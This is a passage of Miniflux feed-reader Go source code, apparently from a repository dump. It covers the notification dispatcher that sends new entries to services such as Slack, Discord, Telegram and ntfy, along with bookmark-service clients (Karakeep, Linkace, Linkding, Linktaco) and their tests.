during feed refreshes.\nfunc PushEntries(feed *model.Feed, entries model.Entries, userIntegrations *model.Integration) {\n\tif userIntegrations.MatrixBotEnabled {\n\t\tslog.Debug(\"Sending new entries to Matrix\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int(\"nb_entries\", len(entries)),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t)\n\n\t\terr := matrixbot.PushEntries(\n\t\t\tfeed,\n\t\t\tentries,\n\t\t\tuserIntegrations.MatrixBotURL,\n\t\t\tuserIntegrations.MatrixBotUser,\n\t\t\tuserIntegrations.MatrixBotPassword,\n\t\t\tuserIntegrations.MatrixBotChatID,\n\t\t)\n\t\tif err != nil {\n\t\t\tslog.Error(\"Unable to send new entries to Matrix\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int(\"nb_entries\", len(entries)),\n\t\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\tif userIntegrations.WebhookEnabled {\n\t\tvar webhookURL string\n\t\tif feed.WebhookURL != \"\" {\n\t\t\twebhookURL = feed.WebhookURL\n\t\t} else {\n\t\t\twebhookURL = userIntegrations.WebhookURL\n\t\t}\n\n\t\tslog.Debug(\"Sending new entries to Webhook\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int(\"nb_entries\", len(entries)),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\tslog.String(\"webhook_url\", webhookURL),\n\t\t)\n\n\t\twebhookClient := webhook.NewClient(webhookURL, userIntegrations.WebhookSecret)\n\t\tif err := webhookClient.SendNewEntriesWebhookEvent(feed, entries); err != nil {\n\t\t\tslog.Warn(\"Unable to send new entries to Webhook\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int(\"nb_entries\", len(entries)),\n\t\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\t\tslog.String(\"webhook_url\", webhookURL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t}\n\t}\n\n\tif userIntegrations.NtfyEnabled && feed.NtfyEnabled {\n\t\tntfyTopic := feed.NtfyTopic\n\t\tif ntfyTopic == \"\" {\n\t\t\tntfyTopic = userIntegrations.NtfyTopic\n\t\t}\n\t\tslog.Debug(\"Sending new entries to Ntfy\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int(\"nb_entries\", len(entries)),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t\tslog.String(\"topic\", ntfyTopic),\n\t\t)\n\n\t\tclient := ntfy.NewClient(\n\t\t\tuserIntegrations.NtfyURL,\n\t\t\tntfyTopic,\n\t\t\tuserIntegrations.NtfyAPIToken,\n\t\t\tuserIntegrations.NtfyUsername,\n\t\t\tuserIntegrations.NtfyPassword,\n\t\t\tuserIntegrations.NtfyIconURL,\n\t\t\tuserIntegrations.NtfyInternalLinks,\n\t\t\tfeed.NtfyPriority,\n\t\t)\n\n\t\tif err := client.SendMessages(feed, entries); err != nil {\n\t\t\tslog.Warn(\"Unable to send new entries to Ntfy\", slog.Any(\"error\", err))\n\t\t}\n\t}\n\n\tif userIntegrations.AppriseEnabled {\n\t\tslog.Debug(\"Sending new entries to Apprise\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int(\"nb_entries\", len(entries)),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t)\n\n\t\tappriseServiceURLs := userIntegrations.AppriseServicesURL\n\t\tif feed.AppriseServiceURLs != \"\" {\n\t\t\tappriseServiceURLs = feed.AppriseServiceURLs\n\t\t}\n\n\t\tclient := apprise.NewClient(\n\t\t\tappriseServiceURLs,\n\t\t\tuserIntegrations.AppriseURL,\n\t\t)\n\n\t\tif err := client.SendNotification(feed, entries); err != nil {\n\t\t\tslog.Warn(\"Unable to send new entries to Apprise\", slog.Any(\"error\", err))\n\t\t}\n\t}\n\n\tif userIntegrations.DiscordEnabled {\n\t\tslog.Debug(\"Sending new entries to Discord\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int(\"nb_entries\", len(entries)),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t)\n\n\t\tclient := discord.NewClient(\n\t\t\tuserIntegrations.DiscordWebhookLink,\n\t\t)\n\n\t\tif err := client.SendDiscordMsg(feed, entries); err != nil {\n\t\t\tslog.Warn(\"Unable to send new entries to Discord\", slog.Any(\"error\", err))\n\t\t}\n\t}\n\n\tif userIntegrations.SlackEnabled {\n\t\tslog.Debug(\"Sending new entries to Slack\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int(\"nb_entries\", len(entries)),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t)\n\n\t\tclient := slack.NewClient(\n\t\t\tuserIntegrations.SlackWebhookLink,\n\t\t)\n\n\t\tif err := client.SendSlackMsg(feed, entries); err != nil {\n\t\t\tslog.Warn(\"Unable to send new entries to Slack\", slog.Any(\"error\", err))\n\t\t}\n\t}\n\n\tif userIntegrations.PushoverEnabled && feed.PushoverEnabled {\n\t\tslog.Debug(\"Sending new entries to Pushover\",\n\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\tslog.Int(\"nb_entries\", len(entries)),\n\t\t\tslog.Int64(\"feed_id\", feed.ID),\n\t\t)\n\n\t\tclient := pushover.NewClient(\n\t\t\tuserIntegrations.PushoverUser,\n\t\t\tuserIntegrations.PushoverToken,\n\t\t\tfeed.PushoverPriority,\n\t\t\tuserIntegrations.PushoverDevice,\n\t\t\tuserIntegrations.PushoverPrefix,\n\t\t)\n\n\t\tif err := client.SendMessages(feed, entries); err != nil {\n\t\t\tslog.Warn(\"Unable to send new entries to Pushover\", slog.Any(\"error\", err))\n\t\t}\n\t}\n\n\t// Integrations that only support sending individual entries\n\tif userIntegrations.TelegramBotEnabled {\n\t\tfor _, entry := range entries {\n\t\t\tslog.Debug(\"Sending a new entry to Telegram\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t)\n\n\t\t\tif err := telegrambot.PushEntry(\n\t\t\t\tfeed,\n\t\t\t\tentry,\n\t\t\t\tuserIntegrations.TelegramBotToken,\n\t\t\t\tuserIntegrations.TelegramBotChatID,\n\t\t\t\tuserIntegrations.TelegramBotTopicID,\n\t\t\t\tuserIntegrations.TelegramBotDisableWebPagePreview,\n\t\t\t\tuserIntegrations.TelegramBotDisableNotification,\n\t\t\t\tuserIntegrations.TelegramBotDisableButtons,\n\t\t\t); err != nil {\n\t\t\t\tslog.Error(\"Unable to send entry to Telegram\",\n\t\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Push each new entry to Readeck when push is enabled\n\tif userIntegrations.ReadeckPushEnabled {\n\t\tclient := readeck.NewClient(\n\t\t\tuserIntegrations.ReadeckURL,\n\t\t\tuserIntegrations.ReadeckAPIKey,\n\t\t\tuserIntegrations.ReadeckLabels,\n\t\t\tuserIntegrations.ReadeckOnlyURL,\n\t\t)\n\t\tfor _, entry := range entries {\n\t\t\tslog.Debug(\"Sending a new entry to Readeck\",\n\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t)\n\n\t\t\tif err := client.CreateBookmark(entry.URL, entry.Title, entry.Content); err != nil {\n\t\t\t\tslog.Error(\"Unable to send entry to Readeck\",\n\t\t\t\t\tslog.Int64(\"user_id\", userIntegrations.UserID),\n\t\t\t\t\tslog.Int64(\"entry_id\", entry.ID),\n\t\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/integration/integration_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage integration\n\nimport (\n\t\"bytes\"\n\t\"log/slog\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestSendEntryLogsLinkwardenCollectionID(t *testing.T) {\n\tvar buf bytes.Buffer\n\thandler := slog.NewJSONHandler(&buf, nil)\n\tlogger := slog.New(handler)\n\tprev := slog.Default()\n\tslog.SetDefault(logger)\n\tdefer slog.SetDefault(prev)\n\n\tentry := &model.Entry{ID: 52, URL: \"https://example.org/test.html\", Title: \"Test\"}\n\tcoll := int64(12345)\n\tuserIntegrations := &model.Integration{\n\t\tUserID:                 1,\n\t\tLinkwardenEnabled:      true,\n\t\tLinkwardenCollectionID: &coll,\n\t\tLinkwardenURL:          \"\",\n\t\tLinkwardenAPIKey:       \"\",\n\t}\n\n\tSendEntry(entry, userIntegrations)\n\n\tout := buf.String()\n\tif !strings.Contains(out, `\"collection_id\":12345`) {\n\t\tt.Fatalf(\"expected collection_id in logs; got: %s\", out)\n\t}\n}\n\nfunc TestSendEntryLogsLinkwardenWithoutCollectionID(t *testing.T) {\n\tvar buf bytes.Buffer\n\thandler := slog.NewJSONHandler(&buf, nil)\n\tlogger := slog.New(handler)\n\tprev := slog.Default()\n\tslog.SetDefault(logger)\n\tdefer slog.SetDefault(prev)\n\n\tentry := &model.Entry{ID: 52, URL: \"https://example.org/test.html\", Title: \"Test\"}\n\tuserIntegrations := &model.Integration{\n\t\tUserID:            1,\n\t\tLinkwardenEnabled: true,\n\t\tLinkwardenURL:     \"\",\n\t\tLinkwardenAPIKey:  \"\",\n\t}\n\n\tSendEntry(entry, userIntegrations)\n\n\tout := buf.String()\n\tif strings.Contains(out, \"collection_id\") {\n\t\tt.Fatalf(\"did not expect collection_id in logs; got: %s\", out)\n\t}\n}\n"
  },
  {
    "path": "internal/integration/karakeep/karakeep.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage karakeep // import \"miniflux.app/v2/internal/integration/karakeep\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\twrapped     *http.Client\n\tapiEndpoint string\n\tapiToken    string\n\ttags        string\n}\n\ntype tagItem struct {\n\tTagName string `json:\"tagName\"`\n}\n\ntype saveURLPayload struct {\n\tType string `json:\"type\"`\n\tURL  string `json:\"url\"`\n}\n\ntype saveURLResponse struct {\n\tID string `json:\"id\"`\n}\n\ntype attachTagsPayload struct {\n\tTags []tagItem `json:\"tags\"`\n}\n\ntype errorResponse struct {\n\tCode  string `json:\"code\"`\n\tError string `json:\"error\"`\n}\n\nfunc NewClient(apiToken string, apiEndpoint string, tags string) *Client {\n\treturn &Client{wrapped: client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()}), apiEndpoint: apiEndpoint, apiToken: apiToken, tags: tags}\n}\n\nfunc (c *Client) attachTags(entryID string) error {\n\tif c.tags == \"\" {\n\t\treturn nil\n\t}\n\n\ttagItems := make([]tagItem, 0)\n\tfor tag := range strings.SplitSeq(c.tags, \",\") {\n\t\tif trimmedTag := strings.TrimSpace(tag); trimmedTag != \"\" {\n\t\t\ttagItems = append(tagItems, tagItem{TagName: trimmedTag})\n\t\t}\n\t}\n\n\tif len(tagItems) == 0 {\n\t\treturn nil\n\t}\n\n\ttagRequestBody, err := json.Marshal(&attachTagsPayload{\n\t\tTags: tagItems,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"karakeep: unable to encode tag request body: %v\", err)\n\t}\n\n\ttagRequest, err := http.NewRequest(http.MethodPost, fmt.Sprintf(\"%s/%s/tags\", c.apiEndpoint, entryID), bytes.NewReader(tagRequestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"karakeep: unable to create tag request: %v\", err)\n\t}\n\n\ttagRequest.Header.Set(\"Authorization\", \"Bearer \"+c.apiToken)\n\ttagRequest.Header.Set(\"Content-Type\", \"application/json\")\n\ttagRequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\ttagResponse, err := c.wrapped.Do(tagRequest)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"karakeep: unable to send tag request: %v\", err)\n\t}\n\tdefer tagResponse.Body.Close()\n\n\tif tagResponse.StatusCode != http.StatusOK && tagResponse.StatusCode != http.StatusCreated {\n\t\ttagResponseBody, err := io.ReadAll(tagResponse.Body)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"karakeep: failed to parse tag response: %s\", err)\n\t\t}\n\n\t\tvar errResponse errorResponse\n\t\tif err := json.Unmarshal(tagResponseBody, &errResponse); err != nil {\n\t\t\treturn fmt.Errorf(\"karakeep: unable to parse tag error response: status=%d body=%s\", tagResponse.StatusCode, string(tagResponseBody))\n\t\t}\n\t\treturn fmt.Errorf(\"karakeep: failed to attach tags: status=%d errorcode=%s %s\", tagResponse.StatusCode, errResponse.Code, errResponse.Error)\n\t}\n\n\treturn nil\n}\n\nfunc (c *Client) SaveURL(entryURL string) error {\n\trequestBody, err := json.Marshal(&saveURLPayload{\n\t\tType: \"link\",\n\t\tURL:  entryURL,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"karakeep: unable to encode request body: %v\", err)\n\t}\n\n\treq, err := http.NewRequest(http.MethodPost, c.apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"karakeep: unable to create request: %v\", err)\n\t}\n\n\treq.Header.Set(\"Authorization\", \"Bearer \"+c.apiToken)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\tresp, err := c.wrapped.Do(req)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"karakeep: unable to send request: %v\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tresponseBody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"karakeep: failed to parse response: %s\", err)\n\t}\n\n\tif resp.Header.Get(\"Content-Type\") != \"application/json\" {\n\t\treturn fmt.Errorf(\"karakeep: unexpected content type response: %s\", resp.Header.Get(\"Content-Type\"))\n\t}\n\n\tif resp.StatusCode != http.StatusCreated {\n\t\tvar errResponse errorResponse\n\t\tif err := json.Unmarshal(responseBody, &errResponse); err != nil {\n\t\t\treturn fmt.Errorf(\"karakeep: unable to parse error response: status=%d body=%s\", resp.StatusCode, string(responseBody))\n\t\t}\n\t\treturn fmt.Errorf(\"karakeep: failed to save URL: status=%d errorcode=%s %s\", resp.StatusCode, errResponse.Code, errResponse.Error)\n\t}\n\n\tvar response saveURLResponse\n\tif err := json.Unmarshal(responseBody, &response); err != nil {\n\t\treturn fmt.Errorf(\"karakeep: unable to parse response: %v\", err)\n\t}\n\n\tif response.ID == \"\" {\n\t\treturn errors.New(\"karakeep: unable to get ID from response\")\n\t}\n\n\tif err := c.attachTags(response.ID); err != nil {\n\t\treturn fmt.Errorf(\"karakeep: unable to attach tags: %v\", err)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/integration/linkace/linkace.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage linkace // import \"miniflux.app/v2/internal/integration/linkace\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tbaseURL       string\n\tapiKey        string\n\ttags          string\n\tprivate       bool\n\tcheckDisabled bool\n}\n\nfunc NewClient(baseURL, apiKey, tags string, private bool, checkDisabled bool) *Client {\n\treturn &Client{baseURL: baseURL, apiKey: apiKey, tags: tags, private: private, checkDisabled: checkDisabled}\n}\n\nfunc (c *Client) AddURL(entryURL, entryTitle string) error {\n\tif c.baseURL == \"\" || c.apiKey == \"\" {\n\t\treturn errors.New(\"linkace: missing base URL or API key\")\n\t}\n\n\ttagsSplitFn := func(c rune) bool {\n\t\treturn c == ',' || c == ' '\n\t}\n\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/api/v2/links\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkace: invalid API endpoint: %v\", err)\n\t}\n\trequestBody, err := json.Marshal(&createItemRequest{\n\t\tURL:           entryURL,\n\t\tTitle:         entryTitle,\n\t\tTags:          strings.FieldsFunc(c.tags, tagsSplitFn),\n\t\tPrivate:       c.private,\n\t\tCheckDisabled: c.checkDisabled,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkace: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkace: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+c.apiKey)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkace: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"linkace: unable to create item: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\ntype createItemRequest struct {\n\tTitle         string   `json:\"title,omitempty\"`\n\tURL           string   `json:\"url\"`\n\tTags          []string `json:\"tags,omitempty\"`\n\tPrivate       bool     `json:\"is_private,omitempty\"`\n\tCheckDisabled bool     `json:\"check_disabled,omitempty\"`\n}\n"
  },
  {
    "path": "internal/integration/linkding/linkding.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage linkding // import \"miniflux.app/v2/internal/integration/linkding\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tbaseURL string\n\tapiKey  string\n\ttags    string\n\tunread  bool\n}\n\nfunc NewClient(baseURL, apiKey, tags string, unread bool) *Client {\n\treturn &Client{baseURL: baseURL, apiKey: apiKey, tags: tags, unread: unread}\n}\n\nfunc (c *Client) CreateBookmark(entryURL, entryTitle string) error {\n\tif c.baseURL == \"\" || c.apiKey == \"\" {\n\t\treturn errors.New(\"linkding: missing base URL or API key\")\n\t}\n\n\ttagsSplitFn := func(c rune) bool {\n\t\treturn c == ',' || c == ' '\n\t}\n\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/api/bookmarks/\")\n\tif err != nil {\n\t\treturn fmt.Errorf(`linkding: invalid API endpoint: %v`, err)\n\t}\n\n\trequestBody, err := json.Marshal(&linkdingBookmark{\n\t\tURL:      entryURL,\n\t\tTitle:    entryTitle,\n\t\tTagNames: strings.FieldsFunc(c.tags, tagsSplitFn),\n\t\tUnread:   c.unread,\n\t})\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkding: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkding: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Token \"+c.apiKey)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linkding: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"linkding: unable to create bookmark: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\ntype linkdingBookmark struct {\n\tURL      string   `json:\"url,omitempty\"`\n\tTitle    string   `json:\"title,omitempty\"`\n\tTagNames []string `json:\"tag_names,omitempty\"`\n\tUnread   bool     `json:\"unread,omitempty\"`\n}\n"
  },
  {
    "path": "internal/integration/linktaco/linktaco.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage linktaco // import \"miniflux.app/v2/internal/integration/linktaco\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst (\n\tdefaultClientTimeout = 10 * time.Second\n\tdefaultGraphQLURL    = \"https://api.linktaco.com/query\"\n\tmaxTags              = 10\n\tmaxDescriptionLength = 500\n)\n\ntype Client struct {\n\tgraphqlURL string\n\tapiToken   string\n\torgSlug    string\n\ttags       string\n\tvisibility string\n}\n\nfunc NewClient(apiToken, orgSlug, tags, visibility string) *Client {\n\tif visibility == \"\" {\n\t\tvisibility = \"PUBLIC\"\n\t}\n\treturn &Client{\n\t\tgraphqlURL: defaultGraphQLURL,\n\t\tapiToken:   apiToken,\n\t\torgSlug:    orgSlug,\n\t\ttags:       tags,\n\t\tvisibility: visibility,\n\t}\n}\n\nfunc (c *Client) CreateBookmark(entryURL, entryTitle, entryContent string) error {\n\tif c.apiToken == \"\" || c.orgSlug == \"\" {\n\t\treturn errors.New(\"linktaco: missing API token or organization slug\")\n\t}\n\n\tdescription := entryContent\n\tif len(description) > maxDescriptionLength {\n\t\tdescription = description[:maxDescriptionLength]\n\t}\n\n\t// tags (limit to 10)\n\ttags := strings.FieldsFunc(c.tags, func(c rune) bool {\n\t\treturn c == ',' || c == ' '\n\t})\n\tif len(tags) > maxTags {\n\t\ttags = tags[:maxTags]\n\t}\n\t// tagsStr is used in GraphQL query to pass comma separated tags\n\ttagsStr := strings.Join(tags, \",\")\n\n\tmutation := `\n\t\tmutation AddLink($input: LinkInput!) {\n\t\t\taddLink(input: $input) {\n\t\t\t\tid\n\t\t\t\turl\n\t\t\t\ttitle\n\t\t\t}\n\t\t}\n\t`\n\n\tvariables := map[string]any{\n\t\t\"input\": map[string]any{\n\t\t\t\"url\":         entryURL,\n\t\t\t\"title\":       entryTitle,\n\t\t\t\"description\": description,\n\t\t\t\"orgSlug\":     c.orgSlug,\n\t\t\t\"visibility\":  c.visibility,\n\t\t\t\"unread\":      true,\n\t\t\t\"starred\":     false,\n\t\t\t\"archive\":     false,\n\t\t\t\"tags\":        tagsStr,\n\t\t},\n\t}\n\n\trequestBody, err := json.Marshal(map[string]any{\n\t\t\"query\":     mutation,\n\t\t\"variables\": variables,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linktaco: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, c.graphqlURL, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linktaco: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+c.apiToken)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"linktaco: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"linktaco: unable to create bookmark: status=%d\", response.StatusCode)\n\t}\n\n\tvar graphqlResponse struct {\n\t\tData   json.RawMessage   `json:\"data\"`\n\t\tErrors []json.RawMessage `json:\"errors\"`\n\t}\n\n\tif err := json.NewDecoder(response.Body).Decode(&graphqlResponse); err != nil {\n\t\treturn fmt.Errorf(\"linktaco: unable to decode response: %v\", err)\n\t}\n\n\tif len(graphqlResponse.Errors) > 0 {\n\t\t// Try to extract error message\n\t\tvar errorMsg string\n\t\tfor _, errJSON := range graphqlResponse.Errors {\n\t\t\tvar errObj struct {\n\t\t\t\tMessage string `json:\"message\"`\n\t\t\t}\n\t\t\tif json.Unmarshal(errJSON, &errObj) == nil && errObj.Message != \"\" {\n\t\t\t\terrorMsg = errObj.Message\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif errorMsg == \"\" {\n\t\t\t// Fallback. Should never be reached.\n\t\t\terrorMsg = \"GraphQL error occurred (fallback message)\"\n\t\t}\n\t\treturn fmt.Errorf(\"linktaco: %s\", errorMsg)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/integration/linktaco/linktaco_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage linktaco\n\nimport (\n\t\"encoding/json\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nfunc TestCreateBookmark(t *testing.T) {\n\tconfigureIntegrationAllowPrivateNetworksOption(t)\n\n\ttests := []struct {\n\t\tname           string\n\t\tapiToken       string\n\t\torgSlug        string\n\t\ttags           string\n\t\tvisibility     string\n\t\tentryURL       string\n\t\tentryTitle     string\n\t\tentryContent   string\n\t\tserverResponse func(w http.ResponseWriter, r *http.Request)\n\t\twantErr        bool\n\t\terrContains    string\n\t}{\n\t\t{\n\t\t\tname:         \"successful bookmark creation\",\n\t\t\tapiToken:     \"test-token\",\n\t\t\torgSlug:      \"test-org\",\n\t\t\ttags:         \"tag1, tag2\",\n\t\t\tvisibility:   \"PUBLIC\",\n\t\t\tentryURL:     \"https://example.com\",\n\t\t\tentryTitle:   \"Test Article\",\n\t\t\tentryContent: \"Test content\",\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t// Verify authorization header\n\t\t\t\tauth := r.Header.Get(\"Authorization\")\n\t\t\t\tif auth != \"Bearer test-token\" {\n\t\t\t\t\tt.Errorf(\"Expected Authorization header 'Bearer test-token', got %s\", auth)\n\t\t\t\t}\n\n\t\t\t\t// Verify content type\n\t\t\t\tcontentType := r.Header.Get(\"Content-Type\")\n\t\t\t\tif contentType != \"application/json\" {\n\t\t\t\t\tt.Errorf(\"Expected Content-Type 'application/json', got %s\", contentType)\n\t\t\t\t}\n\n\t\t\t\t// Parse and verify request\n\t\t\t\tbody, _ := io.ReadAll(r.Body)\n\t\t\t\tvar req map[string]any\n\t\t\t\tif err := json.Unmarshal(body, &req); err != nil {\n\t\t\t\t\tt.Errorf(\"Failed to parse request body: %v\", err)\n\t\t\t\t}\n\n\t\t\t\t// Verify mutation exists\n\t\t\t\tif _, ok := req[\"query\"]; !ok {\n\t\t\t\t\tt.Error(\"Missing 'query' field in request\")\n\t\t\t\t}\n\n\t\t\t\t// Return success response\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\"data\": map[string]any{\n\t\t\t\t\t\t\"addLink\": map[string]any{\n\t\t\t\t\t\t\t\"id\":    \"123\",\n\t\t\t\t\t\t\t\"url\":   \"https://example.com\",\n\t\t\t\t\t\t\t\"title\": \"Test Article\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t},\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname:         \"missing API token\",\n\t\t\tapiToken:     \"\",\n\t\t\torgSlug:      